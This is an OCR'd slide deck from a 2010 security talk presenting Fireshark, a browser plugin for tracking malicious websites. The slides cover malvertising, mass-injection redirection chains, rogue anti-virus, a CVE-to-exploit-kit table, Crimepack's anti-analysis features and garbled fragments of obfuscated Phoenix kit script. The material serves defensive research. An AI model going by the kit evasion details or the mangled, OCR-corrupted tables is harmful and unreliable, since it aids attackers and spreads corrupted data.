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Fireshark Agenda

= Qverview
" Who Am |
®" What is Fireshark

" The Malicious Webscape
" Fireshark Introduction

" Down the Rabbit hole (use cases)

— Website Architecture / Redirection Chains
— Mass Injection Points (dead or alive)
— Content Profiling

" Fireshark Releases
" Download Location
" Q&A

websense
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WHAT IS FIRESHARK



The Fireshark Project

Author: Stephan Chenette
Contributions by: Wladimir Palant (AdBlockPlus FF Plugin)

Organize and analyze
malicious website data

Correlate data

= Similar mass injection attacks (C/R/E)
= attacker patterns (providers/content/kits)

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



The Fireshark Project

" Current Status
— 1.0 Release - April 2010 (GPL v3 license)

— 1.1 Release - due in November 2010 (selective beta)




Overview of Fireshark Architecture

" Browser Plugin allows automated control of browser

" Passively logs information to log file
— Connections (contextual reference)
— Source and DOM content
— JavaScript function calls
— Page Links
— Screen Shot

" Your Job: Use post-processing scripts/database to output
organized results
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THE MALICIOUS
WEBSCAPE



URL Injection attacks are increasing

225% Increase In the number of new
compromised legitimate websites in the
last 12 months.

Source: Websense Security Labs, State of Internet Security, Q3-Q4 2009 Report

Translation:
There is alarge chance that a website you have visited
In the recent past served malicious code.

weksense



Victims of "Malvertisements” (2009)

“ The Drudge Report
" Horoscope.com

“ Lyrics.com

“ slacker.com

“ Eweek.com

“ The New York Times
“ Philadelphia Inquirer
" Expedia, Rhapsody

weksense
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Google’'s DoubleClick Spreads Malicious Ads On Eweek Website

Google's DoubleClick ad network has once again been caught distributing
malicious banner displays, this time on the home page of eWeek, the online
version of the popular business computing magazine. Unsuspecting end users
who browse the site were presented with malvertisements with invisible
iframes that redirect them to attack websites, according to researchers at
Websense., The redirects use one of two methods to infect users with
malware, including rogue anti-virus software.

In one case, a POF with heavily obscured javascript shunted victims to a
subdomain at inside.com. In other scenarios, a generic index.php file did the
bidding.




Redirection chains/ Mass Compromises

Nine-ball mass-injection

Legitimate Site Redirector 1 Redirector 2 Redirector 3 Exploit Site

Infected Site mw.kz bro.tw rmi.tw ninetoraq.in
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Redirection chains/ Mass Compromises

Nine-ball mass-injection
“ There are a varied but unique set of hosts involved in the redirection chain

“ Any repeat visitor is diverted to ask.com instead of a malicious landing page

“ The structure of the injected deobfuscation algorithm is equivalent throughout
all the infected sites

Legitimate Site Redirector 1 Redirector 2 Redirector 3 Exploit Site

899099

Infected Site rnw.kz bro.tw rmi.tw ninetoraq.in

weksense
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compromised website using an iframe

another website4d.com
another website0.com

another website2.com another website3.com

200

200

website.com j_ another website6.com

200

200

another website7.com

another website5.com another website8.com

another website9.com
another websitel.com
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compromised website using a redirector

Website 1 m Website

Website 2

weksense
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Exploit site goes through redirector

Website 1 ﬁ Website

Website 2
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Exploit Site Serves Rogue Anti-Virus

System Tasks

(2] View system infcemation
i}wurmawm
B Change a settings

frome hrp:/193.186,127.49
Would you e to save this file?

[¥] Adeness.Trojan
[¥] serv.iransponder. Trojan
[¥] wstart.TrojanDownloader

Scan
%
| Removeall ||  Coxel
Flenfd

Spywace is software, which can gather nformation from usee's computer theough -
Internet connection and send them to ks creator. Gathered nformation can be Sate
™ passwords, o-mad addresses and o that data, which i important foe you,

Wakting removal

o Worm.Win32Myd  Critical 05.13,2009

W Tri-Dwnldr.Win Critical 09.17.2009 7 Waking removal
Description:

This peogram is potentialy dangercus for your system. Trojan-Downloader stealng passwords , crodt cards and other
personal nformation from your competer,

23 Wakting romoval

weksense
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Exploit Site Serves Rogue Anti-Virus

" XP Defender Pro

Hord d

=Vista Security Tool'2010

Dt el

MyCfomputer B Scan

o Emod-Worm WinJ2.Myd {

o Try-Dwnlde Win

Descnption:




Malicious Site Serves — Exploit Kits

CVE TITLE CRIMEPACK PHOENIX ELEONORE FRAGUS YES EXPLOIT SIBERIA EL FIESTA ICEPACK MPACK WEB ATTACKER
_|CVE-2003-0111 MS03-011 - ByteCode Verifier component flaw in Microsoft VM Yes
_|CVE-2004-1043 MS05-001 - HTML vuinerabilities Yes
|CVE-2005-2127 COM Object Instantiation Memory Corruption (Msdss.dll) Yes
_ |CVE-2005-2265 MFSA2005-50 - Firefox InstallVersion.compareTo Yes Yes
_|CVE-2006-0003 MS06-014 for IE6/Microsoft Data Access Components (MDAC) Remote Code Execution Yes Yes Yes Yes Yes Yes
_|CVE-2006-0005 MS06-006 - Windows Media Player plug-in vulverability for Firefox & Opera Yes Yes Yes Yes
| CVE-2006-1359 MS06-013 - CreateTextRange Yes
 |CVE-2006-3643 Microsoft Management Console (MMC) Redirect Cross-Site Scripting (XSS) vulnerability (IE) Yes Yes
) | CVE-2006-3677 Firefox -JS navigator Object Code Yes Yes
L |CVE-2006-3730 WebViewFoldericon (IE) Yes Yes Yes
! |CVE-2006-4868 MS06-055 - Windows Vector Markup Language Vulnerability Yes
} CVE-2006-4777 DirectAnimation ActiveX Controls Memory Corruption Vulnerability Yes
} | CVE-2006-5559 MS07-0089 - IE6/Microsoft Data Access Components (MDAC) Remote Code Execution Yes Yes Yes
i |CVE-2006-5745 Microsoft XML Core Services Vulnerability Yes
) |CVE-2006-5820 AOL SuperBuddy ActiveX Control “LinkSBicons()” Vulnerability Yes
7 |CVE-2006-6884 WinZip FileView ActiveX (IE) Yes
} |CVE-2007-0015 Apple QuickTime RTSP URI (IE} Yes Yes
) |CVE-2007-0018 NCTsoft NCTAudioFile2 ActiveX Control Remote Buffer Overflow Vuinerability Yes
) | CVE-2007-0024 Vector Markup Language Vulnerability (IE) Yes
L |CVE-2007-0071 Integer overflow in Adobe Flash Player 9 Yes Yes
! |CVE-2007-3147/3148 Yahoo! Messenger Webcam (IE} Yes
} | CVE-2007-4034 Yahoo! Widgets YDP (IE) Yes
I | CVE-2007-4336 DirectX - DirectTransform FlashPix ActiveX (IE) Yes
i |CVE-2007-5327 CA BrightStor ARCserve Backup Multiple Vulnerabilities Yes
j |CVE-2007-5659/2008-0655 PDF Exploit -collab. collectEmailinfo Yes Yes Yes Yes Yes Yes Yes
7 |CVE-2007-5755 AOL Radio AmpX Buffer Overflow Yes
} | CVE-2007-6250 AOL Radio AmpX (AOLMediaPlaybackControl) ActiveX control vulnerability Yes
} | CVE-2008-0015 MS09-032 DirectX DirectShow (IE) Yes Yes Yes
) |CVE-2008-1309 RealPlayer ActiveX Control “Console” Property Memory Corruption Yes
L |CVE-2008-2463 MS08-041 - MS Access Snapshot Viewer Yes Yes Yes Yes
! |CVE-2008-2992 PDF Exploit - util.printf Yes Yes Yes Yes Yes Yes
} | CVE-2008-4844 Internet Explorer 7 XML Exploit Yes
} |CVE-2008-5353 JavadO —JRE Calendar Yes Yes
i | CVE-2009-0075/0076 MS0S-002 - IE7 Memory Corruption Yes Yes Yes
) |CVE-2009-0355 Firefox - Components/sessionstore/src/nsSessionStore.js Yes
7 |CVE-2009-0806 IEPeers Remote Code Execution Yes
} | CVE-2009-0927 PDF Exploit - collab.geticon Yes Yes Yes Yes Yes Yes
} |CVE-2009-1136 MS09-043 - IE OWC Spreadsheet ActiveX control Memory Corruption Yes Yes
) |CVE-2009-1869 Integer overflow in the AVM2 abcFile parser in Adobe Flash Player Yes
| |CVE-2009-2477 Firefox - Font tags Yes
! |CVE-2009-3269 Telnet for Opera TN3270 Yes
} |CVE-2009-3867 Java Runtime Env. getSoundBank Stack BOF Yes Yes
I CVE-2009-4324 PDF Exploit - doc.media.newPlayer Yes Yes
) |CVE-2010-0188 PDF Exploit - LibTIFF Integer Overflow Yes Yes
j |CVE-2010-0806 IE7 Uninitialized Memory Corruption Yes

welsense
ESSENTIAL INFORMATION PROTECTION™ 18




Malicious Site Serves

TME

- Exploit Kits

CVE CRIMEPACK PHOENIX ELEONORE FRAGUS YES EXPLOIT SIBERIA EL FIESTA ICEPACK MPACK WEB ATTACKER
CVE-2003-0111 MS03-011 - ByteCode Verifier component flaw In Microsoft VM Yes
CVE-2004-1043 MS05-001 - HTML vulnerabilities Yes
CVE-200! 27 Ob, AG ion (Msdss dil) Yes
CVE-200! 65 C ?MEF I%are‘ro Yes Yes
CVE-2006-0003 6-014 for icrosoft Data ess Components (MDAC) Remote Code Execution Yes Yes Yes Yes Yes Yes
CVE-2006-0005 MS06-006 - Windows Media Player plug-in vulverability for Firefox & Opera Yes Yes Yes Yes
CVE-2006.1359 Yes
M-zm.’» P —I @Emole (MMC) Redirect Cross-Site Scripting {XSS) vuinerability (IE) Yes Yes

) [CVE-2006-3677 Node Yes Yes

| | CVE-2006-3730 WebViewFoidericon (IE) Yes Yes Yes

! CVE-2006-4868 MSO&OSS Windows Vector Markup Language Vulnerability Yes

) | CVE-2 77 0 emory Corruption Vulnerability Yes

| | CVE-2006-5559 ytd ess Components (MDAC) Remote Code Execution Yes Yes Yes

) CVE-2006-5745 M:crosoft XML Core Services Vulnerabmw Yes

i |CVE-2006-5820 AOL SuperBuddy ActiveX Control “LinkSBicons()” Vuinerability Yes

[ Yes

b CVE- 200‘15 F ?AGHS&HE) Yes Yes

| | CVE-2007-0018 ileX = tiveX Control Remote Buffer Overflow Vulnerability Yes

) [ CVE-2007-0024 Vector Markup Language Vulnerability (1€} Yes

L | CVE- 2007-0071 i Flash Pia Yes Yes

SRS O

)} CVE-2007-4034 4 3 Yes

| CVE-2007-4336 DirectX - DirectTransform FlashPix ActiveX (IE) Yes

) CVE-2007-5327 CA BrightStor ARCserve Backup Multiple Vulnerabilities Yes

¥ | CVE-200 59/ T - oll allinfo Yes Yes Yes Yes Yes Yes Yes

S mSEBERIA- :

§ CVE-2007- 6250 AOL Radio AmpX (AOLMediaPlaybackControl) ActiveX control vuinerability Yes

! _CVE 2008-0015 M503-032 D-rcctx OirectShow (IE) Yes Yes Yes

) f le” Property Memory Corruption Yes

i E L :F 1 AS;?-ﬁmwr Yes Yes Yes Yes

|- OIE-ZOOG 2992 Exp Yes Yes Yes Yes Yes Yes

| CVE-2008-4844 Internet Explorer 7 XML Exploit Yes

| | CVE- 2008 5353 JavadO ~ JRE Calendar Yes Yes

) 'CVE 75/ em rruption Yes Yes Yes

3 CVE- 2009-0355 0X = nstore/src/nsSessionStore |s Yes

! | CVE-2009-0806 IEPeers Remote Code Executlon Yes

} CVE-2009- 0927 POF Exploit - collab geticon Yes Yes Yes Yes Yes Yes

) _CVE-Z preadsheet ActiveX cantrol Memory Corruption Yes Yes

) I CVE M HAOQ the AVM2 abcFile parser in Adobe Flash Player Yes

| CVE- 2009 2477 refox « Yes

! CVE-2009- 3269 Telnet for Opera TN3270 Yes

)} | CVE-2008- tack Yes Yes

- 4 WEB ATTACKER : -

b (CVE- 2010-0188 loitA LbNFF rfl Yes Yes

3 | CVE-2010-0806 IE7 Uninitialized Memory Corruption Yes

websense

ESSENTIAL INFORMATION PROTECTION™

19




Malicious Site Serves — Exploit Kits

CVE TME

CRIMEPACK PHOENIX ELEONORE FRAGUS YES EXPLOIT SIBERIA EL FIESTA ICEPACK MPACK WEB ATTACKER

CVE 2003 01’ 1 MSOB—Oll ByteCode Verifier component flaw In Microsoft VM

505-001 - HTML vulnerabilities

cvezooc;\!E nggg_ilonmmor (& tELME@@6 5745

CVE-2005 etox InstaliVersion compareTo
CVE-2006-0003

CVE-2006-0005

CVE-2006-1359 MS06-013 - CreateTextRange

| ICVE-2006-3730 WebViewFoldericon (1E)

L OVE- va 2 Zzasector Markup Language Vulnerability

} CVE-2 E m X Controls Memory Corruption Vulnerability
| |CVE-2006-5559
) CVE-2006-5745 Microsoft XML Core Services Vulnﬁy _ZQQZ_OO]-S
i CVE 2006 5820 AOL SuperBuddy ActiveX (ontrol L )" I

WinZip FileView ActiveX (

-CVE-2006-0008" 1 CVE:2007-0018
| | CVE-2007 NCTATDIGFIIE2 ActiveX Control ® BU erfi owv UInera

1 [CVE-2007-0024 Vector Markup Language Vulnerability

=GV E-2006-0005+-CVE-2007-0024

|- CVE-2007-3147/5148 Yahoo! Messenger Webcam (IE

e oGV E-2006-4:359 - w@wa 2007-0071

b |CVE-2007-5327 CA BrightStor ARCserve Backup Multiple Vulnerabilities

i CVE-200 lHectEmallin;

oW E-2006-3643 5. CVE-2007-3147
§ CVE-2007-6250 AOL Radio AmpX (AOLMediaPlaybackControl) ActiveX control vulnerability

I [CVE-2 T :tShow(xE)CpV ZQQZ 3 8
) Msz 2Om Bﬁ Chntrol “Conso ? pETA r pE 14

| |CVE-2008-2463 MS08-041 - MS Access Snapshot Viewer

i‘JZﬁiﬁ‘;QZ‘}YE-2OfQQ’i§§‘3§Jm.o.[ CVE-2007-4034

| | CVE-2008-5353 lavadO JRE Calcnda

crCVE-2006-4868 -CVE-2007-4336
bove 20k oy - 208‘553“;2‘77122?” CVE-2007-5327

} CVE-2009-1136 MS509-043 - |IE OWC Spreadsheet ActiveX cantrol Memory Corruption

GV E-2006-5559 " CVE-2007-5659

| CVE 2009-3269 Telnet for Opera TN3270

} CVE-2009-3867 Java Runtime Env. getSoundBank Stack BOF
| CVE-2009-4324 PDF Exploit « doc.media newPlayer

b (CVE-2010-0188 PDF Exploit - LIbTIFF Integer Overflow

’ |CVE-2010-0806 IE7 Uninitialized Memory Corruption

websense
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e OS2 (1 A )y C\'?‘E 2007-5755
et zolay E-2 004 3 e LNV ESTOUB BB ™ " W“C)}\/E 2007-6250

MS07-009 - 1E6/Microsoft Data Access Components (MDAC) Remote Code Execution

CVE-2009-0806
" CVE-2009-0927 =
CVE-%90Q311Y§6
| CVE-2009-1869
CVE 2008-0015  CVE-2009-2477
CVE-2008-1309  CVE-2009-3269
CVE-2008-2463  CVE-2009-3867
CVE-2008-2992  CVE-2009-4324

C\ZE 2008-4844 = = *©

Yes

CVE-2007;9655

CVE-20085353  CVE-2010-0188
e e e e CVE-2010-0806

CVE-2009:0075
CVE-2009-0076 «

ves Yes
CVE-2009-0355

w Yes

! Yes Yes

l Yes Yes

|Yes Yes

Yes
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Malicious Site Serves — Exploit Kits

CVE TITLE CRIMEPACK PHOENIX ELEONORE FRAGUS YES EXPLOIT SIBERIA EL FIESTA ICEPACK MPACK WEB ATTACKER
CVE-2003-0111 MS03-011 - ByteCode Verifier component flaw In Microsoft VM Yes
CVE-2004-1043 MS05-001 - HTML vulnerabilities Yes
CVE-2009027 - bisct lgstpntiation Memory Corruption (Msdss.dil) Yes
CVE-200! 65 F I r @f{:}erdou InstallVersion.compareTo Yes Yes
CVE-2006-0003 -01% for 1E6/Microsoft Data Access Components (MDAC) Remote Code Execution Yes Yes Yes Yes Yes Yes
CVE-2006-0005 MS06-006 - Windows Media Player plug-in vulverability for Firefox & Opera Yes Yes Yes Yes
CVE-2006-1359 MS06-013 - CreateTextRange Yes
CVE-2006-3643 Microsoft Management Console (MMC) Redirect Cross-Site Scripting (XSS) vulnerability (IE) Yes Yes

) [CVE-2006-3677 Firefox -JS navigator Object Code Yes Yes

L [CVE-2006-3730 WebViewFolidericon (I1E) Yes Yes Yes

! |CVE-2006-4868 MS06-055 - Windows Vector Markup Language Vulnerability Yes

) _CVE-ZOO'77 .\ t aveX fontrays, bility Yes

| | CVE-2006-5559 n t @m«moso Datxpu m@ mote Code Execution Yes Yes Yes

) CVE-2006-5745 Microsoft XML Core Services Vulnerdbility Yes

i | CVE-2006-5820 AOL SuperBuddy ActiveX Control “LinkSBicons()” Vuinerability Yes

! CVE-2006-6884 WinZip FileView ActiveX (IE) Yes

} | CVE-2007-0015 Apple QuickTime RTSP URI (IE) Yes Yes

| |CVE-2007-0018 NCTsoft NCTAudioFile2 ActiveX Control Remote Buffer Overfiow Vulnerability Yes

1 CVE-2007-0024 Vector Markup Language Vulnerability (1€} Yes

| | CVE-2007-0071 Integer overflow in Adobe Flash Player 9 Yes Yes

- CVE-2007-47 nger Webcam (IE) Yes

)} CVE-2007-4034 p EIM YOP (IE) Yes

| | CVE-2007-4336 DirectX - DirectTransform FlashPix ActiveX (IE) Yes

b |CVE-2007-5327 CA BrightStor ARCserve Backup Multiple Vulnerabilities Yes

i CVE-2007-5659/2008-0655 PDF Exploit -collab. collectEmallinfo Yes Yes Yes Yes Yes Yes Yes

! |CVE-2007-5755 AOL Radio AmpX Buffer Overflow Yes

} | CVE-2007-6250 AOL Radio AmpX (ADLMediaPlaybackControl) ActiveX control vulnerability Yes

|  CVE-2008-0015 MS509-032 DirectX DirectShow (IE) Yes Yes Yes

1 CVE-2 09 RealPlay eX Control “Congole” Prope ry Corrupth Yes

llovea 63J a\ga{ Rﬁa er as h = T s

! CVE-2008-2992 ith uth O Yes Yes Yes Yes Yes Yes

| CVE-2008-4844 Internet Explorer 7 XML Exploit Yes

| | CVE-2008-5353 JavadO ~JRE Calendar Yes Yes

) ' CVE-2009-0075/0076 MS09-C02 - IE7 Memory Corruption Yes Yes Yes

) CVE-2009-0355 Firefox - Components/sessionstore/src/nsSessionStore s Yes

! | CVE-2009-0806 IEPeers Remote Code Execution Yes

} CVE-2009-0927 POF Exploit - collab geticon Yes Yes Yes Yes Yes Yes

} | CVE-2009-1136 MS09-043 - IE OWC Spreadsheet ActiveX cantrol Memory Corruption Yes Yes

) | CVE-2009-1869 integer overflow in the AVM2 abcFile parser in Adobe Flash Player Yes

| CVE-2009-2477 Firefox - Font tags Yes

L |CVE-2009-3269 Telnet for Opera TN3270 Yes

) CVE-2009-3867 Java Runtime Env. getSoundBank Stack BOF Yes Yes

| CVE-2009-4324 PDF Exploit - doc.media.newPiayer Yes Yes

) CVE-2010-0188 PDF Exploit - LIbTIFF Integer Overflow Yes Yes

» CVE-2010-0806 IE7 Uninitialized Memory Corruption Yes

welsense
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Obfuscated content (Phoenix pack)

* V. a000L75-E9CSC12; 3007X_V, s 00QEQNDBL -2 SD2LTS; . s SDILTS; L s 8DILTS: L BDILTIAS. DOTE>~< s 100 +N; 5C) I, VO~ 23860~ 485 1Y * 75D~
~EVS4Kda0¥ad-95; (+DAGVLGIDTINDG ., g-§5,~,a_V'K8 V3Ici¥s; "QU5*c* 7S, 3L<[,BO_WNaB VKV-D*5+Df/P+¥SEN0TS, 7075.L2 WPBS<[22-<bOI
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o 6APF 10> ZRIVENR, *642( . DUSBSS. : <64T[420200. " 4D <64) K2 6562V~ s LXNVR; 422U~ RNZ, . JQC:IV4IV* ,V6: 04908, 1 K. . K, V6<LY, /O, 230/ 8BO+6
‘VhI61 1IN 3. /KVENK*3 [PCP/BBLE? V/0,230/8B0,1/%3./0,6KV: 10>3P7 . 8" a* [ +408" 642 . BUBDS4, 1 <641[42920>2INBIKL> . “B"a" [+404" 641
+BUSE*PB~3..7,9, "=6+4NL, .54.:1<66:02[8°3_BIPGQV+L, , LAGKVAZUR[ 4820025 B3 1XL4CS~B"J20Q. " 11483, D[P, 2. 7.0 1T, 13B_BE#B2 1, CIEN:
PLVR; #4B=3B7Qiewi PP P4t 'B2IP 2404, 3U%012°0%%, ~, 4+0, ¢ BN, VIL6RZ0,e,, (@ e62~BIK>>2J0VEnL, .2QBE, :RL, , [K2.2QBE, : 1, CI6N: tRC:L
s ¢ KL, [OAZBRR: VR 4220~ RIPGQVL, , 6B76N: 2300 44C:PBI#6L9B~. . B¢, ) K. B, VE<IPCARZ0222<6CNL, 2a>) 8% B4423ax2S*06EZ6E2 1 E22) Re
P2O[27020/ 58 _*Te0MHL; Y ZON: B[ MOQENHEL ¢ 4% 1 <=2 NAX>N_S: D=><KKRIN*INON2 7 *RSIBGITORO=~; 12, , 1 DER>2624271:<8J>,0_*IN2IN.J, 4INC
/230:04:VeRRE, OLEW >036/ =3 _>K>0LKO0: DAOS4RSIRT/<H) >LNOLELEY/ =710, : B} 2310042 :CN K242 (RS, Bed: < oWz w2 000 0 vil=i 202D 2
D=5 2aieia i d4RITRSTRL-CLTIDNR) -7 . JNOL2: ;. ON. 0K, ,J_;0;,00 >N 2DK.,),;.0K.08_52:°,2D0220->4cRIPR" 25e+6K>000V(
PHDMZKEGIUZER=201T; Nz WP *27"P; QODMIKECEEITIP; 46, <2L2eORRN, NDK. *DEA/OR.]/:D;2L2K.ONRL, DK, 7:3KN;"L:.; *R70;e/R2°,2D0%~, L+
JL2L% 00 >eQU>B _F+:KOR)2)271; Gly 61; 615 _Gl; Gl; _Gl: G1; Gl: G1,3.:,00;/2L2L27.; :SVIER/: "RL2L2, =5 IMDBYIA  1TU=1"K
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Crimepack 2.8 released before March 10’

Exploits include:

* Adobe Acrobat Reader Exploits
(including CVE-2010-0188)

» JRE (GSB & SERIALIZE)
* MDAC (IE)

» MS09-032 (IE)

» MS09-002 (IE)

» CVE-2010-0806 (IE)

weksense
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Crimepack 2.8 Anti-Analysis

Features include:

1.Undetected by AV Scanners (JavaScript &
PDF/JAR/JPG files)

2.Random PDF Obfuscation (Not using static PDF file
like other packs)

3. Blacklist checker & AutoChecker

4. Prevent Wepawet, JSunpack and other JavaScript
unpackers to decode your page

weksense y
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Crimepack 2.8 Changes

“ Added CVE-2010-0806

“ Added CVE-2010-0188

“ Added more ip's to block

" |[Frame generator

“ Redirector for non-vulnerable traffic
" New JS cryptor

= Anti-Kaspersky emulation

weksense
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RECAP OF NEEDS: Track and Organize

Organize and analyze
malicious website data

Correlate data

" Similar mass injection attacks (C/R/E)
= attacker patterns (providers/content/kits)

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
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Current Resources

Websites: Tools:

" Wepawet = Malzilla

= Anubis “ Rhino Debugger

= ZeusTracker " FF JavaScript

" BLADE (*new®) Deobfuscator

" Robtex " DS’s SpiderMonkey
= Unmask Parasites * Jsunpack

* Malwaredomainlist.com “ Caffeine Monkey

= Badwarebusters.org " NJS

= VirusTotal.com “ Etc.

" Etc.

wekbsense .




Malzilla V.S. The Phoenix Exploit Kit

& Malzilla by bobby i ] 54
Download  Decader |Misc Decoders | Kalimero Processor | Shellcode analyzer | Log | Clipboard Monitor | Motes | He:x view | PScript | Tools | Settings | About |

Mew Tab (1) |

*_W.;a00>L75-ESCIC: 22 3D87H W. JO0OQEQNDEL-;SD2ZL75; .:3D2L75; . :3D2L75; . ; SD2L7545. D@7X>—<_: 1DE+M;SC] T L VO-F23BE0-+WS*F 75D ;ﬂ

-EW54Kda0Wad-Ws; [+DEGVEGSE* INDA . g-WS, -, & W“KB_V3c:W5S; *QUS*c*75, .3£<[,B0_WMad WKV-DE *5+DR/P+USBhO7S, 7075.L2 WPES<[22-<bAE
BOL4Z00RM*DA3a2 V:00 WOWISE/.M< :1<75./LWS.JIWSFO: 7SE8e7SELC=< [+B5<a+V-DAdaoDR Z7L75F0* E<ad300X- . PSEQBRSE/ . M<] #[2 VHME4DR : 3
+WS>L2, U=="ecFeUcVHA-QI+gegNb SNNE: ;. 3b70b[BgS3YL[A6II/ M b[BuXIWIISEXi-h>+ Ec :.3b3+eNYLOZAbZISY?55 S [CVY=ISCNQFa[Lh?AF-
/PeKQh >R, D. °feTe+¥; TG, 3KOh  »R¥H-] VXQ80Q/P] g9cChh?4 %13 798 93 +oNYLN [ gOQd+WENKSIKE®T . ; =2J>; . . 2. : *-2L2KQRL2L, R7., .B_4L2L2 .LSE
[MOBREE.S; .;.:D2+M, B-3B-R:D2L0662, RL2L2 7. B[L4; *0/</+RM2L.<?, :L<RJ_OLOGB[MO6Ja, L2LZB[MO6BZ[N*> -0J.D7TMAK>:D2:2; :06DE3NIOZE
,TER4N=]11871E=K.2:90c, a7>0.FU, 4L+>+Z90c*T; . B<<RJI 35E° ZZLOGLERLZLZMRL—; ,WH2] —; .OL2J>: . ;. B6N-G. ;. ;a: DZMRI[<LY0Z<2 *VIKA/ *CH
B2L/PO.U 2L2L-; .;.;+RLBO. ;. ; . FL2J; 6[P>Z>/CP/BELE? WV =6+NL,2L9, D[K*. ; J+*3P%] ; +:2ABE, V4KUSZU- . ; LEOJVR; +2 ZU—. 5/ +7BZPC=", ; KA>3
./BM, VSLEE . U-C5+B2J, G-6D[K® . ; J#*37LVR; ++E-3B7Q07ME 62 L6720 62=3, 4] K. . /J60J, G, ,3a0[0%cat22 JL: Mo 6dPOZE6*V+ Vi MEDAIM tK16;]2;
, 60PF : 0> ZRIVSNM. * 642 [ . BUSES4. 1 <642 [42g3U0. *4E*<64] K2 65620~ . ; LEOJVR; +2 20—, RMZ. . JQC: JV+IV*, V6; 04el, 1 K. . M, V6<LS, /0, 230/ EEC+6
“VhJ6:::NB*3./KVSNE®3 [FCF/BEL6? ¥/0,230/BE0.H/=3./J,GKV: :B>3P#. 8" a% [++08*64Z[.BUSES4. 1 <64E[ 4202 >2 JNE?KL> .~ 8 ar [++04* 641 [
.BUSB*PB-3..;,9, *=6+NL, . 54. :<66:02 [B *3_BIPGOV+L, , LEGKVAZUR[+820025%B3 1XL+C5-B" J2ha. *:;+B*3, D[P, 2. %.J; : T, :3B_BE+BZ:, CJ6N:
:LVR; ++E-3B%Q; c=:P##+#J#BZ 1 P¥24>4. 3J%%:2%0%%, -, +=0.+ BN, VSL6RZO0,e,, [B*e6f-FE?K>>2JJV6=L, .20BE, :RL, , [KZ.2QBE, :2: ,CJ6N: : KC:L
, KL, [04Z+8KR:VE; +2 ZU- . R3PGOV4L, , 6B?6N: B +3a0 [++C: PE*=6£9E-. . .E+, ] K. .M, V6<JPCaHZ0222<6CNL, Za>] B *3 B++232>25 06E26E2 :E2Z] R+
#2J[27%2L/ 1>E_*7e0MHL; T: ZoM: E[MOgEMHEL+; 4% <—;N4J>>M 5:2-><KKREN®JNOMZ ?"RS1REITORO-—;1:,, :DEK:262+271:<8J> . J_#IN2JN.J. 4JNC
/230;e4:W+RRE.OLEVI >J>G/-.J_ >K>0LKO:D403+RS1R7/-HJ >LNOLELR7?/-7:D, :B] 2310042 :CN.K1;+2; [R3,884:<.:Nz.:.0.0.5.:D—~; :.:D-; :
tD=; ;.z.:.;.;+R;*RSTRL—:L*:DZMR]-;.,JNOLZ;.;.0J.0K.,J ;0;.0J >M 2DK.,3.;.0K.0M 52:,2DJ?2J->4cREPR*2Se+6K>0DMV[
>HDMZKE6JUZKR=2017; N: WP:*27%P; 43DN2KEG6E2 7EP; 48, <2L2eSMRh, HDK, "DEA/OR.]/:B;2LZK.OMRh, .DK.7:3KN;*L;.;*R71;e/R2°,2DJ=-,L+
.LZL*; 0J »cQ®»>B_F+;KOh]2]271; G1; G1: Gl; G1; Gl: Gl; Gl; Gl; G1,3.;,00;/2L2L27.; :5V7VER/;*RLZLZ,=5 IHDBEYIL iTU=1"K =l

Fun script | = Replace evall) with Ievla Find | I Templates | Wide 2 1052 I
= Override eval() [~ Case sensitive
Debug | Format code |

(% Leave asis [~ Do nat bother me with messages

|Script can't be compiled |I

weksense
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Malzilla V.S. The Phoenix Exploit Kit

& Malzilla by bobby i ] 54
Download  Decader |Misc Decoders | Kalimero Processor | Shellcode analyzer | Log | Clipboard Monitor | Motes | He:x view | PScript | Tools | Settings | About |

Mew Tab (1) |

*_W.;a00>L75-ESCIC: 22 3D87H W. JO0OQEQNDEL-;SD2ZL75; .:3D2L75; . :3D2L75; . ; SD2L7545. D@7X>—<_: 1DE+M;SC] T L VO-F23BE0-+WS*F 75D ;ﬂ

-EW54Kda0Wad-Ws; [+DEGVEGSE* INDA . g-WS, -, & W“KB_V3c:W5S; *QUS*c*75, .3£<[,B0_WMad WKV-DE *5+DR/P+USBhO7S, 7075.L2 WPES<[22-<bAE
BOL4Z00RM*DA3a2 V:00 WOWISE/.M< :1<75./LWS.JIWSFO: 7SE8e7SELC=< [+B5<a+V-DAdaoDR Z7L75F0* E<ad300X- . PSEQBRSE/ . M<] #[2 VHME4DR : 3
+WS>L2, U=="ecFeUcVHA-QI+gegNb SNNE: ;. 3b70b[BgS3YL[A6II/ M b[BuXIWIISEXi-h>+ Ec :.3b3+eNYLOZAbZISY?55 S [CVY=ISCNQFa[Lh?AF-
/PeKQh >R, D. °feTe+¥; TG, 3KOh  »R¥H-] VXQ80Q/P] g9cChh?4 %13 798 93 +oNYLN [ gOQd+WENKSIKE®T . ; =2J>; . . 2. : *-2L2KQRL2L, R7., .B_4L2L2 .LSE
[MOBREE.S; .;.:D2+M, B-3B-R:D2L0662, RL2L2 7. B[L4; *0/</+RM2L.<?, :L<RJ_OLOGB[MO6Ja, L2LZB[MO6BZ[N*> -0J.D7TMAK>:D2:2; :06DE3NIOZE
,TER4N=]11871E=K.2:90c, a7>0.FU, 4L+>+Z90c*T; . B<<RJI 35E° ZZLOGLERLZLZMRL—; ,WH2] —; .OL2J>: . ;. B6N-G. ;. ;a: DZMRI[<LY0Z<2 *VIKA/ *CH
B2L/PO.U 2L2L-; .;.;+RLBO. ;. ; . FL2J; 6[P>Z>/CP/BELE? WV =6+NL,2L9, D[K*. ; J+*3P%] ; +:2ABE, V4KUSZU- . ; LEOJVR; +2 ZU—. 5/ +7BZPC=", ; KA>3
./BM, VSLEE . U-C5+B2J, G-6D[K® . ; J#*37LVR; ++E-3B7Q07ME 62 L6720 62=3, 4] K. . /J60J, G, ,3a0[0%cat22 JL: Mo 6dPOZE6*V+ Vi MEDAIM tK16;]2;
, 60PF : 0> ZRIVSNM. * 642 [ . BUSES4. 1 <642 [42g3U0. *4E*<64] K2 65620~ . ; LEOJVR; +2 20—, RMZ. . JQC: JV+IV*, V6; 04el, 1 K. . M, V6<LS, /0, 230/ EEC+6
“VhJ6:::NB*3./KVSNE®3 [FCF/BEL6? ¥/0,230/BE0.H/=3./J,GKV: :B>3P#. 8" a% [++08*64Z[.BUSES4. 1 <64E[ 4202 >2 JNE?KL> .~ 8 ar [++04* 641 [
.BUSB*PB-3..;,9, *=6+NL, . 54. :<66:02 [B *3_BIPGOV+L, , LEGKVAZUR[+820025%B3 1XL+C5-B" J2ha. *:;+B*3, D[P, 2. %.J; : T, :3B_BE+BZ:, CJ6N:
